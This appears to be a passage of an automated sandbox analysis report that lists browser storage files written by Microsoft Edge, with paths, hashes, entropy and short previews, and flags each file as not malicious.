SHA-512:	13A35657570AFAB1265440CDBE673479B7BBC3F50BDFFF79D5F41ABCA298EB3561854C0C57DB738C17FD1EEA9765C5D3FEA2CC7F26296A302982B97E6D51B5EC
Malicious:	false
Preview:	2024/12/27-02:20:32.501 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/27-02:20:32.545 1cbc Recovering log #3.2024/12/27-02:20:32.548 1cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13379757634178077

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8029052793040132
Encrypted:	false
SSDEEP:	24:3RNI0yejkpsAF4unxOtLp3X2amEtG1ChqulUOY/QKkOAM48:3RzEzFwLp2FEkChzTHOp
MD5:	1B08E49883401A410F17A23BDA154615
SHA1:	6F3C48F12091A3AE76752E2B96E74D61D3DDA753
SHA-256:	5B2A7FF5D11592718B1D125F51A892BAEA4A661B0BF32F7992456E9326AC0A70
SHA-512:	6519B12A9DF6DE5DE63E276F04E502539D95A005CA44CF9C49C34974CD4556AB832D08BA84DF9AAD2A9DACC004BA8355F73B7678B434A2C6B975432DAE6EDEA3
Malicious:	false
Preview:	SNSS.......t..............t........."t..............t..........t..........u..........u.......!..u..................................t...u...1..,...u...$...715d389a_cced_4d8f_ac4b_049e8279bab0...t..........u.........M........t......t..........................t.......................5..0...t...&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....t..........t.............................u..............u...........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......S..L;..T..L;.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.118482400018405
Encrypted:	false
SSDEEP:	6:cF+vyq2P923oH+Tcwt7Uh2ghZIFUt8PF+tYs1Zmw+PF+tY6RkwO923oH+Tcwt7UT:av4YebIhHh2FUt8mYs1/+mYe5LYebIh9
MD5:	1DD0EA88CA945C9C2957BF3ABE4BF5CB
SHA1:	073E0BAB15D13FF83E7ED02831F0834F805227DD
SHA-256:	6854ED4D5D1A48C09DD0FB2C75883C3983C43E7EA21EE9565AC27005DCC86A0B
SHA-512:	8302A395FF990FE59768E3BA29E59AB6E0A32EC61A8FE698C0D6248B3DBBF6796641FFEEA8982E2D0B0340B0A7DA7F8F1F13AE7C53AE36D7F3D1D9EDBD96329B
Malicious:	false
Preview:	2024/12/27-02:20:31.687 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/27-02:20:31.878 1d30 Recovering log #3.2024/12/27-02:20:31.878 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.118482400018405
Encrypted:	false
SSDEEP:	6:cF+vyq2P923oH+Tcwt7Uh2ghZIFUt8PF+tYs1Zmw+PF+tY6RkwO923oH+Tcwt7UT:av4YebIhHh2FUt8mYs1/+mYe5LYebIh9
MD5:	1DD0EA88CA945C9C2957BF3ABE4BF5CB
SHA1:	073E0BAB15D13FF83E7ED02831F0834F805227DD
SHA-256:	6854ED4D5D1A48C09DD0FB2C75883C3983C43E7EA21EE9565AC27005DCC86A0B
SHA-512:	8302A395FF990FE59768E3BA29E59AB6E0A32EC61A8FE698C0D6248B3DBBF6796641FFEEA8982E2D0B0340B0A7DA7F8F1F13AE7C53AE36D7F3D1D9EDBD96329B
Malicious:	false
Preview:	2024/12/27-02:20:31.687 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/27-02:20:31.878 1d30 Recovering log #3.2024/12/27-02:20:31.878 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.217289347438271
Encrypted:	false
SSDEEP:	6:cF+K9+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8PF+oXf3JZmw+PF+oBWH39VkwO9V:Jv4YebvqBQFUt8/XfZ/+/I5LYebvqBvJ
MD5:	140E8F05F11E349FF3F63F977F517CE1
SHA1:	FAA3E7E5EB9E207DDC6CAEB30076CDD4E3E7411F
SHA-256:	2554AE087AC39CD1872F9BCD63DAB552D4FDACEFF16400CB6390FAEC2409496D
SHA-512:	FDA6632A49E173385D9E80D735C1155FACE2545B05FA491B18141D1DF227C0AFD0D7C80DDE2067A21FEE124D9B30DF88B1FDA6B41CF8D0373B1A81973A391BB4
Malicious:	false
Preview:	2024/12/27-02:20:32.539 1cd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/27-02:20:32.542 1cd8 Recovering log #3.2024/12/27-02:20:32.545 1cd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.217289347438271
Encrypted:	false
SSDEEP:	6:cF+K9+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8PF+oXf3JZmw+PF+oBWH39VkwO9V:Jv4YebvqBQFUt8/XfZ/+/I5LYebvqBvJ
MD5:	140E8F05F11E349FF3F63F977F517CE1
SHA1:	FAA3E7E5EB9E207DDC6CAEB30076CDD4E3E7411F
SHA-256:	2554AE087AC39CD1872F9BCD63DAB552D4FDACEFF16400CB6390FAEC2409496D
SHA-512:	FDA6632A49E173385D9E80D735C1155FACE2545B05FA491B18141D1DF227C0AFD0D7C80DDE2067A21FEE124D9B30DF88B1FDA6B41CF8D0373B1A81973A391BB4
Malicious:	false
Preview:	2024/12/27-02:20:32.539 1cd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/27-02:20:32.542 1cd8 Recovering log #3.2024/12/27-02:20:32.545 1cd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\02834817-9ce9-436d-9d43-5a931a8e7a23.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1e207d9e-2d07-4c9d-9087-d79afb42934e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\65b261c4-610a-4735-9982-0a316e453931.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ceea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c875f87b-3144-4749-b683-c1328ac9c5d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.194102836489749
Encrypted:	false
SSDEEP:	12:BXi+v4YebvqBZFUt8Cc/+C5V5LYebvqBaJ:J4Yebvyg8pLYebvL
MD5:	6FEA4BDD301EBDC5B6AB1DD1D9AFE8D3
SHA1:	F35093DDC8B3625B250868B120ABD0BBB6941843
SHA-256:	269B56B3CAF8CF2C709E330B4AB2FB5FCE7B85DC592F43B0FE2CCF37F56CA7FE
SHA-512:	002F2308171D77FB6EAE3E4058A31F83D013A2D7470C391BCBFFB9A813ADD56414CB94C8D65EDD24B5604365CB7AAEAA529296151F05D6924444B497D9CED5D5
Malicious:	false
Preview:	2024/12/27-02:20:50.349 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/27-02:20:50.350 1cbc Recovering log #3.2024/12/27-02:20:50.353 1cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.194102836489749
Encrypted:	false
SSDEEP:	12:BXi+v4YebvqBZFUt8Cc/+C5V5LYebvqBaJ:J4Yebvyg8pLYebvL
MD5:	6FEA4BDD301EBDC5B6AB1DD1D9AFE8D3
SHA1:	F35093DDC8B3625B250868B120ABD0BBB6941843
SHA-256:	269B56B3CAF8CF2C709E330B4AB2FB5FCE7B85DC592F43B0FE2CCF37F56CA7FE
SHA-512:	002F2308171D77FB6EAE3E4058A31F83D013A2D7470C391BCBFFB9A813ADD56414CB94C8D65EDD24B5604365CB7AAEAA529296151F05D6924444B497D9CED5D5
Malicious:	false
Preview:	2024/12/27-02:20:50.349 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/27-02:20:50.350 1cbc Recovering log #3.2024/12/27-02:20:50.353 1cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.150928902804912
Encrypted:	false
SSDEEP:	6:cF+zVq2P923oH+TcwtpIFUt8PF+zgZmw+PF+zIkwO923oH+Tcwta/WLJ:TVv4YebmFUt8og/+oI5LYebaUJ
MD5:	D7191E7B60505C92D2F7C879E4579FDE
SHA1:	B6D337BDDB7BA2EF53954B5994C28E80DF3D4B6C
SHA-256:	93B736158DFB1F1EC8E6A8E397A30F9D712AB88342F1FA4B44F5A02575616560
SHA-512:	9212A9C0B90747E67587E2BA166D9E04B9E60AE362DEE395EE9590586C504E44C063BA985A9B9C8802EED1EDDAE76A783CCC838405B5D59D2FB15A167225532C
Malicious:	false
Preview:	2024/12/27-02:20:31.738 440 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/27-02:20:31.738 440 Recovering log #3.2024/12/27-02:20:31.738 440 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.150928902804912
Encrypted:	false
SSDEEP:	6:cF+zVq2P923oH+TcwtpIFUt8PF+zgZmw+PF+zIkwO923oH+Tcwta/WLJ:TVv4YebmFUt8og/+oI5LYebaUJ
MD5:	D7191E7B60505C92D2F7C879E4579FDE
SHA1:	B6D337BDDB7BA2EF53954B5994C28E80DF3D4B6C
SHA-256:	93B736158DFB1F1EC8E6A8E397A30F9D712AB88342F1FA4B44F5A02575616560
SHA-512:	9212A9C0B90747E67587E2BA166D9E04B9E60AE362DEE395EE9590586C504E44C063BA985A9B9C8802EED1EDDAE76A783CCC838405B5D59D2FB15A167225532C
Malicious:	false
Preview:	2024/12/27-02:20:31.738 440 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/27-02:20:31.738 440 Recovering log #3.2024/12/27-02:20:31.738 440 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265495754907874
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMXSAELyKOMq+8yC8F/YfU5m+OlTLVumK:Bq+n0JX9ELyKOMq+8y9/OwV
MD5:	E6736A04C341B6E15AD98A4CB315D61F
SHA1:	8130F1C1BA4B4CC72DEB77BE39853F75C3DD5005
SHA-256:	8D48A427B9E34860CE36D0AEAA7DC44788093085BE22AB2A766CFB580A11384B
SHA-512:	A93F7D721E87A1A35B0D40AD19514E09DD636C52C90E612E68FEDA231A1B42E1012F90F19AFEF35B03DA9FE2DB8F4D0F819540877A328D76E1506F2E03E681EE
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4670843457419867
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0tvKJ:v7doKsKuKZKlZNmu46yjx0FU
MD5:	086449FECCB5F5F2668D8FF2FFBD6C86
SHA1:	FE946FF56C843013976A7E3E006488722286C2A9
SHA-256:	3733191107017EA4C846AAEBDB6D96D23FA89A724438365274F57BCAE8928B94
SHA-512:	623A27B484D44C015201FDE1F913202C8D618624F1C9B413BB2D49848821A92982D03F253BF1A09B4BB80053BB08B888FF620AD67FCC6856192564AF2BDD6A45
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\afacd532-2026-431f-866f-9ab125098345.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561724295372579
Encrypted:	false
SSDEEP:	768:JmQwrcqq7pLGLhThWPuMfye8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtG1+tYnrwAfb:JmQwrcqCchThWPuMfyeu1jaEG1oY0Afb
MD5:	3E73F332FA3780975B273F12094D4256
SHA1:	567007C5373F32DECD70C11A777F716AC7B95A7A
SHA-256:	F0D7553771CC5309A021951B1D63C2DB1D38618D9BA529494C76FC8A401CDA52
SHA-512:	881CFD97C939315646B2BC0ADC02975DBBD460C930B5077EE717FF6995FADD05F5707C52C43C84AA15CE26AC59CBA4C34D893C64B9D8F006344E8C99DC3510C1
Malicious:	false
